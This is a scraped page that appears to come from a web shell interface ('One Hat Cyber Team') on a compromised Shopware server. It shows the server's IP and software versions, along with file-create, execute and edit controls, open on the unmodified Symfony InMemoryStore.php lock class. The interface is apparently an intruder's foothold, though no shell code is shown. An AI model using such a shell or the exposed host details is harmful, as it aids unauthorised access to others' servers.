⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.45
Server IP:
185.238.29.86
Server:
Linux server2 6.8.12-6-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-6 (2024-12-19T19:05Z) x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
shopware
/
vendor
/
symfony
/
lock
/
Store
/
Edit File: InMemoryStore.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Lock\Store; use Symfony\Component\Lock\Exception\LockConflictedException; use Symfony\Component\Lock\Key; use Symfony\Component\Lock\SharedLockStoreInterface; /** * InMemoryStore is a PersistingStoreInterface implementation using * php-array to manage locks. * * @author Jérémy Derussé <jeremy@derusse.com> */ class InMemoryStore implements SharedLockStoreInterface { private $locks = []; private $readLocks = []; public function save(Key $key) { $hashKey = (string) $key; $token = $this->getUniqueToken($key); if (isset($this->locks[$hashKey])) { // already acquired if ($this->locks[$hashKey] === $token) { return; } throw new LockConflictedException(); } // check for promotion if (isset($this->readLocks[$hashKey][$token]) && 1 === \count($this->readLocks[$hashKey])) { unset($this->readLocks[$hashKey]); $this->locks[$hashKey] = $token; return; } if (\count($this->readLocks[$hashKey] ?? []) > 0) { throw new LockConflictedException(); } $this->locks[$hashKey] = $token; } public function saveRead(Key $key) { $hashKey = (string) $key; $token = $this->getUniqueToken($key); // check if lock is already acquired in read mode if (isset($this->readLocks[$hashKey])) { $this->readLocks[$hashKey][$token] = true; return; } // check for demotion if (isset($this->locks[$hashKey])) { if ($this->locks[$hashKey] !== $token) { throw new LockConflictedException(); } unset($this->locks[$hashKey]); } $this->readLocks[$hashKey][$token] = true; } public function putOffExpiration(Key $key, float $ttl) { // do nothing, memory locks forever. } public function delete(Key $key) { $hashKey = (string) $key; $token = $this->getUniqueToken($key); unset($this->readLocks[$hashKey][$token]); if (($this->locks[$hashKey] ?? null) === $token) { unset($this->locks[$hashKey]); } } public function exists(Key $key) { $hashKey = (string) $key; $token = $this->getUniqueToken($key); return isset($this->readLocks[$hashKey][$token]) || ($this->locks[$hashKey] ?? null) === $token; } private function getUniqueToken(Key $key): string { if (!$key->hasState(__CLASS__)) { $token = base64_encode(random_bytes(32)); $key->setState(__CLASS__, $token); } return $key->getState(__CLASS__); } }
Simpan